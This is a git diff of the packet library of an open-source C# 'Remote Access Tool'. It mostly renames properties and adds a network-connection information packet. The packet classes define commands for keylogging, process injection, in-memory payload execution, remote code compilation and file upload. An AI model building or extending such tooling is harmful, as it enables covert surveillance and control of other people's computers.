--- a/Remote Access Tool/Utils/PacketLib/Packet/File/RenameFilePacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/File/RenameFilePacket.cs
@@ -12,12 +12,12 @@ public class RenameFilePacket : IPacket
{
public RenameFilePacket() : base()
{
- this.packetType = PacketType.FM_RENAME_FILE;
+ this.PacketType = PacketType.FM_RENAME_FILE;
}
public RenameFilePacket(string oldName, string oldPath, string newName, string newPath)
{
- this.packetType = PacketType.FM_RENAME_FILE;
+ this.PacketType = PacketType.FM_RENAME_FILE;
this.oldName = oldName;
this.oldPath = oldPath;
@@ -27,8 +27,8 @@ public RenameFilePacket(string oldName, string oldPath, string newName, string n
public RenameFilePacket(string oldName, string oldPath, string newName, string newPath, string baseIp, string HWID)
{
- this.packetType = PacketType.FM_RENAME_FILE;
- this.baseIp = baseIp;
+ this.PacketType = PacketType.FM_RENAME_FILE;
+ this.BaseIp = baseIp;
this.HWID = HWID;
this.oldName = oldName;
@@ -38,13 +38,13 @@ public RenameFilePacket(string oldName, string oldPath, string newName, string n
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public string oldName { get; set; }
public string oldPath { get; set; }
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/File/ShortCutFileManagersPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/File/ShortCutFileManagersPacket.cs
index 37bc02c9..4edb118a 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/File/ShortCutFileManagersPacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/File/ShortCutFileManagersPacket.cs
@@ -21,28 +21,28 @@ public enum ShortCuts : byte
//server
public ShortCutFileManagersPacket(ShortCuts shortCuts) : base()
{
- this.packetType = PacketType.FM_SHORTCUT_PATH;
+ this.PacketType = PacketType.FM_SHORTCUT_PATH;
this.shortCuts = shortCuts;
}
//client
public ShortCutFileManagersPacket(Dictionary> filesAndDirs, string baseIp, string HWID) : base()
{
- packetType = PacketType.FM_SHORTCUT_PATH;
- this.baseIp = baseIp;
+ PacketType = PacketType.FM_SHORTCUT_PATH;
+ this.BaseIp = baseIp;
this.HWID = HWID;
this.filesAndDirs = filesAndDirs;
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public string path { get; set; }
public ShortCuts shortCuts { get; set; }
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/File/StartFilePacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/File/StartFilePacket.cs
index e0c3f981..57a938cb 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/File/StartFilePacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/File/StartFilePacket.cs
@@ -12,19 +12,19 @@ public class StartFilePacket : IPacket
{
public StartFilePacket(string filePath) : base()
{
- packetType = PacketType.FM_START_FILE;
+ PacketType = PacketType.FM_START_FILE;
this.filePath = filePath;
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public string filePath { get; set; }
}
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/File/UploadFilePacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/File/UploadFilePacket.cs
index fd650b2a..dbe3a521 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/File/UploadFilePacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/File/UploadFilePacket.cs
@@ -13,7 +13,7 @@ public class UploadFilePacket : IPacket
//server
public UploadFilePacket(string path, byte[] file) : base()
{
- this.packetType = PacketType.FM_UPLOAD_FILE;
+ this.PacketType = PacketType.FM_UPLOAD_FILE;
this.path = path;
this.file = file;
}
@@ -21,21 +21,21 @@ public UploadFilePacket(string path, byte[] file) : base()
//client
public UploadFilePacket(string fileName, bool uploaded, string baseIp, string HWID) : base()
{
- this.packetType = PacketType.FM_UPLOAD_FILE;
- this.baseIp = baseIp;
+ this.PacketType = PacketType.FM_UPLOAD_FILE;
+ this.BaseIp = baseIp;
this.HWID = HWID;
this.path = fileName;
this.uploaded = uploaded;
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public string path { get; set; }
public bool uploaded { get; set; }
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/InformationPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/InformationPacket.cs
index 582a31f7..0be0f4aa 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/InformationPacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/InformationPacket.cs
@@ -40,13 +40,13 @@ public class InformationPacket : IPacket
{
public InformationPacket() : base()
{
- this.packetType = PacketType.MISC_INFORMATION;
+ this.PacketType = PacketType.MISC_INFORMATION;
}
public InformationPacket(Dictionary> cpuInformation, string baseIp, string HWID) : base()
{
- this.packetType = PacketType.MISC_INFORMATION;
- this.baseIp = baseIp;
+ this.PacketType = PacketType.MISC_INFORMATION;
+ this.BaseIp = baseIp;
this.HWID = HWID;
this.information = new Information();
this.information.hardwareInformation = new HardwareInformation();
@@ -55,13 +55,13 @@ public InformationPacket(Dictionary> cpuInformation, string
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public Information information { get; set; }
}
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/KeylogOfflinePacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/KeylogOfflinePacket.cs
index 5d929168..e4dbba65 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/KeylogOfflinePacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/KeylogOfflinePacket.cs
@@ -12,20 +12,20 @@ public class KeylogOfflinePacket : IPacket
{
public KeylogOfflinePacket(string keyStroke, string baseIp, string HWID) : base()
{
- this.packetType = PacketType.KEYLOG_OFFLINE;
+ this.PacketType = PacketType.KEYLOG_OFFLINE;
this.keyStroke = keyStroke;
- this.baseIp = baseIp;
+ this.BaseIp = baseIp;
this.HWID = HWID;
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public string keyStroke { get; set; }
}
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/KeylogPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/KeylogPacket.cs
index 58792eb0..ecaf7ff0 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/KeylogPacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/KeylogPacket.cs
@@ -12,14 +12,14 @@ public class KeylogPacket : IPacket
{
public KeylogPacket() : base()
{
- packetType = PacketType.KEYLOG_ON;
+ PacketType = PacketType.KEYLOG_ON;
}
public KeylogPacket(string keyStroke, string baseIp, string HWID) : base()
{
- packetType = PacketType.KEYLOG_ON;
- this.baseIp = baseIp;
+ PacketType = PacketType.KEYLOG_ON;
+ this.BaseIp = baseIp;
this.HWID = HWID;
this.keyStroke = keyStroke;
@@ -27,19 +27,19 @@ public KeylogPacket(string keyStroke, string baseIp, string HWID) : base()
public KeylogPacket(string baseIp, string HWID) : base()
{
- packetType = PacketType.KEYLOG_OFF;
- this.baseIp = baseIp;
+ PacketType = PacketType.KEYLOG_OFF;
+ this.BaseIp = baseIp;
this.HWID = HWID;
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public string keyStroke { get; set; }
}
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/MemoryExecutionPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/MemoryExecutionPacket.cs
index 2acd086d..e58eddf7 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/MemoryExecutionPacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/MemoryExecutionPacket.cs
@@ -12,18 +12,18 @@ public class MemoryExecutionPacket : IPacket
{
public MemoryExecutionPacket(PacketType packetType, byte[] payload) : base()
{
- this.packetType = packetType;
+ this.PacketType = packetType;
this.payload = payload;
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public byte[] payload { get; set; }
public string managedEntryPoint { get; set; }
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/MiscellaneousPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/MiscellaneousPacket.cs
index ecf0d062..3f9878c3 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/MiscellaneousPacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/MiscellaneousPacket.cs
@@ -12,16 +12,16 @@ public class MiscellaneousPacket : IPacket
{
public MiscellaneousPacket(PacketType miscOption) : base()
{
- this.packetType = miscOption;
+ this.PacketType = miscOption;
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
}
}
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/NetworkInformationPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/NetworkInformationPacket.cs
new file mode 100644
index 00000000..bb20626a
--- /dev/null
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/NetworkInformationPacket.cs
@@ -0,0 +1,64 @@
+using System;
+using System.Collections.Generic;
+
+/*
+|| AUTHOR Arsium ||
+|| github : https://github.com/arsium ||
+*/
+
+namespace PacketLib.Packet
+{
+ [Serializable]
+ public class TCPInformation
+ {
+ public string processName { get; set; }
+ public int PID { get; set; }
+ public string LocalEndPoint { get; set; }
+ public string RemoteEndPoint { get; set; }
+ public TCP_CONNECTION_STATE State { get; set; }
+
+ public enum TCP_CONNECTION_STATE
+ {
+ CLOSED = 1,
+ LISTENING,
+ SYN_SENT,
+ SYN_RCVD,
+ ESTABLISHED,
+ FIN_WAIT_1,
+ FIN_WAIT_2,
+ CLOSE_WAIT,
+ CLOSING,
+ LAST_ACK,
+ TIME_WAIT,
+ DELETE_TCP
+ }
+ }
+
+ [Serializable]
+ public class NetworkInformationPacket : IPacket
+ {
+ public NetworkInformationPacket() : base()
+ {
+ this.PacketType = PacketType.MISC_NETWORK_INFORMATION;
+ }
+
+ public NetworkInformationPacket(List tcpInformationList, string baseIp, string HWID) : base()
+ {
+ this.PacketType = PacketType.MISC_NETWORK_INFORMATION;
+ this.BaseIp = baseIp;
+ this.HWID = HWID;
+ this.tcpInformationList = tcpInformationList;
+ }
+
+ public string HWID { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
+
+ public List tcpInformationList{ get; set; }
+ }
+}
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/OpenUrlPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/OpenUrlPacket.cs
index cfe7c479..46b91226 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/OpenUrlPacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/OpenUrlPacket.cs
@@ -12,18 +12,18 @@ public class OpenUrlPacket : IPacket
{
public OpenUrlPacket(string url) : base()
{
- this.packetType = PacketType.MISC_OPEN_WEBSITE_LINK;
+ this.PacketType = PacketType.MISC_OPEN_WEBSITE_LINK;
this.url = url;
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public string url { get; set; }
}
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/PowerPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/PowerPacket.cs
index 9afdc95e..cf2bc8e8 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/PowerPacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/PowerPacket.cs
@@ -12,16 +12,16 @@ public class PowerPacket : IPacket
{
public PowerPacket(PacketType powerOption) : base()
{
- this.packetType = powerOption;
+ this.PacketType = powerOption;
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
}
}
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/RemoteChatPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/RemoteChatPacket.cs
index 91365ded..0b4b644d 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/RemoteChatPacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/RemoteChatPacket.cs
@@ -12,23 +12,23 @@ public class RemoteChatPacket : IPacket
{
public RemoteChatPacket(PacketType packetType) : base()
{
- this.packetType = packetType;
+ this.PacketType = packetType;
}
public RemoteChatPacket(string msg) : base()
{
- this.packetType = PacketType.CHAT_ON;
+ this.PacketType = PacketType.CHAT_ON;
this.msg = msg;
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public string msg { get; set; }
}
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/RemoteCodeExecution.cs b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/RemoteCodeExecution.cs
index eef413c8..1f059797 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/RemoteCodeExecution.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/RemoteCodeExecution.cs
@@ -13,7 +13,7 @@ public class RemoteCodeExecution : IPacket
{
public RemoteCodeExecution(PacketType packetType, string compilerOptions, string code, List references) : base()
{
- this.packetType = packetType;
+ this.PacketType = packetType;
this.compilerOptions = compilerOptions;
this.code = code;
@@ -21,13 +21,13 @@ public RemoteCodeExecution(PacketType packetType, string compilerOptions, string
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public string compilerOptions { get; set; }
public string code { get; set; }
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/ScreenRotationPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/ScreenRotationPacket.cs
index 882d5c93..5a6f027f 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/ScreenRotationPacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/ScreenRotationPacket.cs
@@ -12,19 +12,19 @@ public class ScreenRotationPacket : IPacket
{
public ScreenRotationPacket(string degrees) : base()
{
- this.packetType = PacketType.MISC_SCREEN_ROTATION;
+ this.PacketType = PacketType.MISC_SCREEN_ROTATION;
this.degrees = degrees;
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public string degrees { get; set; }
}
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/WallPaperPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/WallPaperPacket.cs
index 2c517f9d..51f701d1 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/WallPaperPacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/WallPaperPacket.cs
@@ -12,20 +12,20 @@ public class WallPaperPacket : IPacket
{
public WallPaperPacket(byte[] wallpaper, string ext) : base()
{
- this.packetType = PacketType.MISC_SET_WALLPAPER;
+ this.PacketType = PacketType.MISC_SET_WALLPAPER;
this.wallpaper = wallpaper;
this.ext = ext;
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public byte[] wallpaper { get; set; }
public string ext { get; set; }
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/PacketType.cs b/Remote Access Tool/Utils/PacketLib/Packet/PacketType.cs
index 7ba8dc06..f52c8ba5 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/PacketType.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/PacketType.cs
@@ -58,6 +58,7 @@ public enum PacketType : byte
MISC_AUDIO_DOWN = 31,
MISC_SET_WALLPAPER = 32,
MISC_INFORMATION = 43,
+ MISC_NETWORK_INFORMATION = 76,
MISC_SCREENLOCKER_ON = 44,
MISC_SCREENLOCKER_OFF = 45,
MISC_HIDE_DESKTOP_ICONS = 49,
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessInjectionPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessInjectionPacket.cs
index 51d920f1..8bde54af 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessInjectionPacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessInjectionPacket.cs
@@ -19,7 +19,7 @@ public enum INJECTION_METHODS : byte
//server
public ProcessInjectionPacket(byte[] payload, INJECTION_METHODS injectionMethod, int processId) : base()
{
- this.packetType = PacketType.PM_INJECT_PROCESS;
+ this.PacketType = PacketType.PM_INJECT_PROCESS;
this.payload = payload;
this.injectionMethod = injectionMethod;
@@ -27,13 +27,13 @@ public ProcessInjectionPacket(byte[] payload, INJECTION_METHODS injectionMethod,
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public INJECTION_METHODS injectionMethod { get; set; }
public byte[] payload { get; set; }
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessKillerPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessKillerPacket.cs
index 480e3fef..cca2d8d5 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessKillerPacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessKillerPacket.cs
@@ -15,7 +15,7 @@ public class ProcessKillerPacket : IPacket
public ProcessKillerPacket(int processId, string processName, int rowIndex) : base()
{
- this.packetType = PacketType.PM_KILL_PROCESS;
+ this.PacketType = PacketType.PM_KILL_PROCESS;
this.processId = processId;
this.processName = processName;
@@ -26,8 +26,8 @@ public ProcessKillerPacket(int processId, string processName, int rowIndex) : ba
public ProcessKillerPacket(bool killed, int processId, string processName, int rowIndex, string baseIp, string HWID) : base()
{
- this.packetType = PacketType.PM_KILL_PROCESS;
- this.baseIp = baseIp;
+ this.PacketType = PacketType.PM_KILL_PROCESS;
+ this.BaseIp = baseIp;
this.HWID = HWID;
this.killed = killed;
@@ -37,13 +37,13 @@ public ProcessKillerPacket(bool killed, int processId, string processName, int r
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public int rowIndex { get; set; }
public string processName { get; set; }
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessManagerPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessManagerPacket.cs
index a4a1b392..1c21ce74 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessManagerPacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessManagerPacket.cs
@@ -24,27 +24,27 @@ public class ProcessManagerPacket : IPacket
{
public ProcessManagerPacket() : base()
{
- this.packetType = PacketType.PM_GET_PROCESSES;
+ this.PacketType = PacketType.PM_GET_PROCESSES;
}
public ProcessManagerPacket(List processes, string baseIp, string HWID) : base()
{
- packetType = PacketType.PM_GET_PROCESSES;
- this.baseIp = baseIp;
+ PacketType = PacketType.PM_GET_PROCESSES;
+ this.BaseIp = baseIp;
this.HWID = HWID;
this.processes = processes;
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public List processes { get; set; }
}
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Process/ResumeProcessPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Process/ResumeProcessPacket.cs
index f1948d84..ac3e2812 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Process/ResumeProcessPacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Process/ResumeProcessPacket.cs
@@ -14,7 +14,7 @@ public class ResumeProcessPacket : IPacket
//server
public ResumeProcessPacket(int processId, string processName, int rowIndex) : base()
{
- this.packetType = PacketType.PM_RESUME_PROCESS;
+ this.PacketType = PacketType.PM_RESUME_PROCESS;
this.processId = processId;
this.processName = processName;
@@ -24,8 +24,8 @@ public ResumeProcessPacket(int processId, string processName, int rowIndex) : ba
//client
public ResumeProcessPacket(bool resumed, int processId, string processName, int rowIndex, string baseIp, string HWID) : base()
{
- this.packetType = PacketType.PM_RESUME_PROCESS;
- this.baseIp = baseIp;
+ this.PacketType = PacketType.PM_RESUME_PROCESS;
+ this.BaseIp = baseIp;
this.HWID = HWID;
this.resumed = resumed;
@@ -35,13 +35,13 @@ public ResumeProcessPacket(bool resumed, int processId, string processName, int
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public int rowIndex { get; set; }
public string processName { get; set; }
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Process/SuspendProcessPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Process/SuspendProcessPacket.cs
index 33fbbe39..5f8aa8b0 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Process/SuspendProcessPacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Process/SuspendProcessPacket.cs
@@ -14,7 +14,7 @@ public class SuspendProcessPacket : IPacket
//server
public SuspendProcessPacket(int processId, string processName, int rowIndex) : base()
{
- this.packetType = PacketType.PM_SUSPEND_PROCESS;
+ this.PacketType = PacketType.PM_SUSPEND_PROCESS;
this.processId = processId;
this.processName = processName;
@@ -24,8 +24,8 @@ public SuspendProcessPacket(int processId, string processName, int rowIndex) : b
//client
public SuspendProcessPacket(bool suspended, int processId, string processName, int rowIndex, string baseIp, string HWID) : base()
{
- this.packetType = PacketType.PM_SUSPEND_PROCESS;
- this.baseIp = baseIp;
+ this.PacketType = PacketType.PM_SUSPEND_PROCESS;
+ this.BaseIp = baseIp;
this.HWID = HWID;
this.suspended = suspended;
@@ -35,13 +35,13 @@ public SuspendProcessPacket(bool suspended, int processId, string processName, i
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public int rowIndex { get; set; }
public string processName { get; set; }
